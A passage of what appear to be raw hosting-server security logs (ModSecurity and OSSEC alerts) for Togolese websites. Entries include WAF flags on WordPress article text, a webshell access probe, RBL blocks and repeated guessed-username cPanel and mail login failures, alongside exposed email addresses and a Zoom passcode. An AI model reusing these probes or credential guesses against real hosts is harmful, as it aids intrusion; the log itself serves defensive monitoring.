immobiliers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>voici les cl\xc3\xa9s de cette \xc3\xa9mission&nbsp;diffus\xc3\xa9e le jeudi 18 juin 2026 \xc3\xa0 10h00 en ligne via zoom \xc3\xa0 travers le lien de connexion ci-dessous.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>lien de la r\xc3\xa9union: <a href=\"https://bit.ly/otr45?fbclid=iwzxh0bgnhzw0cmtaaynjpzbexzuexuxzhaec5uwo0v0jbdnnydgmgyxbwx2lkediymjazote3odgymda4otiaar42l4n36ehlxalnm7mxgy4hoa6-lftrtpa9ljvhy3aehlnp3m6ptf5xar104w_aem_xb7qluotwfpubiztvsi_ka\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>https://bit.ly/otr45</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>id de r\xc3\xa9union : 846 6778 0585</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>code secret : 579210</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>scannez le qr code de l\xe2\x80\x99affiche pour rejoindre la session.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>la r\xc3\xa9daction</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.228.136.194
country_id: 3437598
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/08/WhatsApp-Image-2023-08-26-at-13.09.54-1.jpeg 1080w, http:/togodailynews.tg/wp-content/uploads/2023/08/WhatsApp-Image-2023-08-26-at-13.09.54-1-300x225.jpeg 300w, http:/togodailynews.tg/wp-content/uploads/2023/08/WhatsApp-Image-2023-08-26-at-13.09.54-1-1024x768.jpeg 1024w, http:/togodailynews.tg/wp-content/uploads/2023/08/WhatsApp-Image-2023-08-26-at-13.09.54-1-768x576.jpeg 768w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.201
country_id: 1880251
description:
47.128.96.201 - - [17/Jun/2026:16:45:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10248386&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fg0d%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781714713 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/g0d/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.201


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>le foncier constitue, pour toute entreprise, la pierre angulaire de la stabilit\xc3\xa9 et de la croissance \xc3\xa9conomique. et pourtant, la s\xc3\xa9curisation des projets immobiliers demeure un d\xc3\xa9fi strat\xc3\xa9gique majeur sur le march\xc3\xa9 togolais.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>dans l\xe2\x80\x99optique d'accompagner les op\xc3\xa9rateurs \xc3\xa9conomiques, les investisseurs et les chefs d'entreprise dans la protection durable de leur patrimoine, l\xe2\x80\x99office togolais des recettes (otr) organise, ce jeudi 18 juin 2026, une session d'information et d'\xc3\xa9change exclusive sous format num\xc3\xa9rique, intitul\xc3\xa9e \xe2\x80\x98\xe2\x80\x9945 min avec l\xe2\x80\x99otr\xe2\x80\x99\xe2\x80\x99.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>plac\xc3\xa9 sous le th\xc3\xa8me&nbsp;: <em>\xc2\xab obtention de titre foncier pour entreprises : s\xc3\xa9curiser vos projets immobiliers \xc2\xbb</em>, ce webinaire strat\xc3\xa9gique est un rendez-vous id\xc3\xa9al, qui va aborder, de mani\xc3\xa8re concr\xc3\xa8te et transparente, les \xc3\xa9tapes incontournables de la proc\xc3\xa9dure d'immatriculation fonci\xc3\xa8re au togo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31146,\"width\":\"558px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-30-724x1024.png\" alt=\"\" class=\"wp-image-31146\" style=\"width:558px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>les experts de l'otr auront une fois de plus l\xe2\x80\x99occasion de d\xc3\xa9tailler les r\xc3\xa9formes r\xc3\xa9centes visant \xc3\xa0 simplifier, acc\xc3\xa9l\xc3\xa9rer et fiabiliser les formalit\xc3\xa9s administratives. les participants auront ainsi l'opportunit\xc3\xa9 de d\xc3\xa9couvrir les bonnes pratiques pour pr\xc3\xa9munir leurs infrastructures contre les litiges et optimiser la valeur juridique de leurs actifs immobiliers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>voici les cl\xc3\xa9s de cette \xc3\xa9mission&nbsp;diffus\xc3\xa9e le jeudi 18 juin 2026 \xc3\xa0 10h00 en ligne via zoom \xc3\xa0 travers le lien de connexion ci-dessous.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>lien de la r\xc3\xa9union: <a href=\"https://bit.ly/otr45?fbclid=iwzxh0bgnhzw0cmtaaynjpzbexzuexuxzhaec5uwo0v0jbdnnydgmgyxbwx2lkediymjazote3odgymda4otiaar42l4n36ehlxalnm7mxgy4hoa6-lftrtpa9ljvhy3aehlnp3m6ptf5xar104w_aem_xb7qluotwfpubiztvsi_ka\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>https://bit.ly/otr45</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>id de r\xc3\xa9union : 846 6778 0585</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>code secret : 579210</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>scannez le qr code de l\xe2\x80\x99affiche pour rejoindre la session.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>la r\xc3\xa9daction</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.18||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 62.89.20.105
country_id: 174982
description:
2026-06-17 16:46:50 H=([62.89.20.105]) [62.89.20.105]:64730 F=<John@4452.com> rejected RCPT <info@sigm.tg>: Sender verify failed


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>le foncier constitue, pour toute entreprise, la pierre angulaire de la stabilit\xc3\xa9 et de la croissance \xc3\xa9conomique. et pourtant, la s\xc3\xa9curisation des projets immobiliers demeure un d\xc3\xa9fi strat\xc3\xa9gique majeur sur le march\xc3\xa9 togolais.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>dans l\xe2\x80\x99optique d'accompagner les op\xc3\xa9rateurs \xc3\xa9conomiques, les investisseurs et les chefs d'entreprise dans la protection durable de leur patrimoine, l\xe2\x80\x99office togolais des recettes (otr) organise, ce jeudi 18 juin 2026, une session d'information et d'\xc3\xa9change exclusive sous format num\xc3\xa9rique, intitul\xc3\xa9e \xe2\x80\x98\xe2\x80\x9945 min avec l\xe2\x80\x99otr\xe2\x80\x99\xe2\x80\x99.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>plac\xc3\xa9 sous le th\xc3\xa8me\xc2\xa0: <em>\xc2\xab obtention de titre foncier pour entreprises : s\xc3\xa9curiser vos projets immobiliers \xc2\xbb</em> et conscient de ces d\xc3\xa9fis strat\xc3\xa9giques pour le secteur priv\xc3\xa9, ce webinaire strat\xc3\xa9gique est un rendez-vous id\xc3\xa9al, qui va aborder, de mani\xc3\xa8re concr\xc3\xa8te et transparente, les \xc3\xa9tapes incontournables de la proc\xc3\xa9dure d'immatriculation fonci\xc3\xa8re au togo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31146,\"width\":\"558px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-30-724x1024.png\" alt=\"\" class=\"wp-image-31146\" style=\"width:558px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>les experts de l'otr auront une fois de plus l\xe2\x80\x99occasion de d\xc3\xa9tailler les r\xc3\xa9formes r\xc3\xa9centes visant \xc3\xa0 simplifier, acc\xc3\xa9l\xc3\xa9rer et fiabiliser les formalit\xc3\xa9s administratives. les participants auront ainsi l'opportunit\xc3\xa9 de d\xc3\xa9couvrir les bonnes pratiques pour pr\xc3\xa9munir leurs infrastructures contre les litiges et optimiser la valeur juridique de leurs actifs immobiliers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>voici les cl\xc3\xa9s de cette \xc3\xa9mission&nbsp;diffus\xc3\xa9e le jeudi 18 juin 2026 \xc3\xa0 10h00 en ligne via zoom \xc3\xa0 travers le lien de connexion ci-dessous.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>lien de la r\xc3\xa9union: <a href=\"https://bit.ly/otr45?fbclid=iwzxh0bgnhzw0cmtaaynjpzbexzuexuxzhaec5uwo0v0jbdnnydgmgyxbwx2lkediymjazote3odgymda4otiaar42l4n36ehlxalnm7mxgy4hoa6-lftrtpa9ljvhy3aehlnp3m6ptf5xar104w_aem_xb7qluotwfpubiztvsi_ka\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>https://bit.ly/otr45</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>id de r\xc3\xa9union : 846 6778 0585</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>code secret : 579210</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>scannez le qr code de l\xe2\x80\x99affiche pour rejoindre la session.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>la r\xc3\xa9daction</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.178.219.40
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/ded7ce HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 159.203.144.167
country_id: 6252001
description:
159.203.144.167 - - [17/Jun/2026:16:48:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10067349&pdata=https%253A%252F%252Fsthandling-aero.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781714928 HTTP/2.0" 302 0 sthandling-aero.tg "https://sthandling-aero.tg/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:159.203.144.167


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:16:49:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:16:49:28 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 64.31.3.126
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:16-51.64.31.3.126||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.202
country_id: 3175395
description:
Jun 17 16:50:26 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.202 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:16:51:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9988043&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781715060 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.154.160.183
country_id: 6252001
domain: cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tg/google-flutter-pour-les-developpeurs/feed/ HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.242.162.83
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/827082244 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 123.253.38.64
country_id: 1210997
description:
[2026-06-17 16:52:41 +0000] info [cpaneld] 123.253.38.64 - mac "GET /login/?login_only=1&user=mac&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mac (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.169.209.241
country_id: 1210997
description:
[2026-06-17 16:52:27 +0000] info [cpaneld] 103.169.209.241 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.103.127.192
country_id: 3469034
description:
[2026-06-17 16:52:30 +0000] info [cpaneld] 187.103.127.192 - macitetg "GET /login/?login_only=1&user=macitetg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user macitetg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.14.93.135
country_id: 3469034
description:
[2026-06-17 16:52:32 +0000] info [cpaneld] 189.14.93.135 - macitetg "GET /login/?login_only=1&user=macitetg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user macitetg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.89.155.195
country_id: 2542007
description:
[2026-06-17 16:52:34 +0000] info [cpaneld] 196.89.155.195 - maci "GET /login/?login_only=1&user=maci&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user maci (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.63.25.176
country_id: 3686110
description:
[2026-06-17 16:52:38 +0000] info [cpaneld] 181.63.25.176 - maci "GET /login/?login_only=1&user=maci&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user maci (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.188.26.189
country_id: 3508796
description:
[2026-06-17 16:52:23 +0000] info [cpaneld] 38.188.26.189 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.172.139.241
country_id: 1210997
description:
[2026-06-17 16:52:35 +0000] info [cpaneld] 103.172.139.241 - macit "GET /login/?login_only=1&user=macit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user macit (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-17 16:54:17 +0000] info [webmaild] 160.242.195.10 - tsokpoh@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.234.100.149
country_id: 2921044
description:
2026-06-17 16:54:39 dovecot_plain authenticator failed for H=(mesyscom.com) [85.234.100.149]:46036: 535 Incorrect authentication data (set_id=infos@mesyscom.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 216.128.153.246
country_id: 6252001
domain: centif.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.18||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/centif/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.234.100.149
country_id: 2921044
description:
Jun 17 16:54:37 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.234.100.149 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:16:56:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6396573&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781715374 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:16:56:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6790040&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781715369 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.57.50.250
country_id: 2077456
description:
203.57.50.250 - - [17/Jun/2026:16:56:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738856&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781715390 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.57.50.250


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.213.162.199
country_id: 3573591
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/02/Employabilit\xc3\xa9.jpeg 816w, http:/togodailynews.tg/wp-content/uploads/2021/02/Employabilit\xc3\xa9-300x210.jpeg 300w, http:/togodailynews.tg/wp-content/uploads/2021/02/Employabilit\xc3\xa9-768x536.jpeg 768w, http:/togodailynews.tg/wp-content/uploads/2021/02/Employabilit\xc3\xa9-320x224.jpeg 320w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.216.153.213
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1862137467 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.221.6.193
country_id: 6290252
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2022/10/Page-4B.jpg 600w, http:/togodailynews.tg/wp-content/uploads/2022/10/Page-4B-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2022/10/Page-4B-272x182.jpg 272w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.68.31
country_id: 99237
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/actualite/detail/seance-de-restitution-de-la-mission-dimmersion-du-cat-a-lasa-ci HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-17 17:00:37 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:52922: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 108.177.136.55
country_id: 6252001
description:
108.177.136.55 - - [17/Jun/2026:17:02:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7170506&pdata=http%253A%252F%252Fsthandling-aero.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781715738 HTTP/1.1" 302 0 sthandling-aero.tg "http://sthandling-aero.tg/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:108.177.136.55


plugin: modsec
rule: 77220020
name: IM360 WAF: DoS vulnerability in Apache 2.2.17 - 2.2.21 (CVE-2012-0021)
abuser: 156.146.60.144
country_id: 2782113
domain: matwtogo.org
description:
IM360 WAF: DoS vulnerability in Apache 2.2.17 - 2.2.21 (CVE-2012-0021)||MVN:REQUEST_URI||MV:/||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 108.177.136.55
country_id: 6252001
description:
108.177.136.55 - - [17/Jun/2026:17:02:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10380696&pdata=http%253A%252F%252Fsthandling-aero.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781715746 HTTP/1.1" 302 0 sthandling-aero.tg "http://sthandling-aero.tg/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:108.177.136.55


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - odoo2@dagl.tg [06/17/2026:17:03:59 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: odoo2@dagl.tg


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:17:04:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.95
country_id: 798544
description:
Jun 17 17:04:14 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.95 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
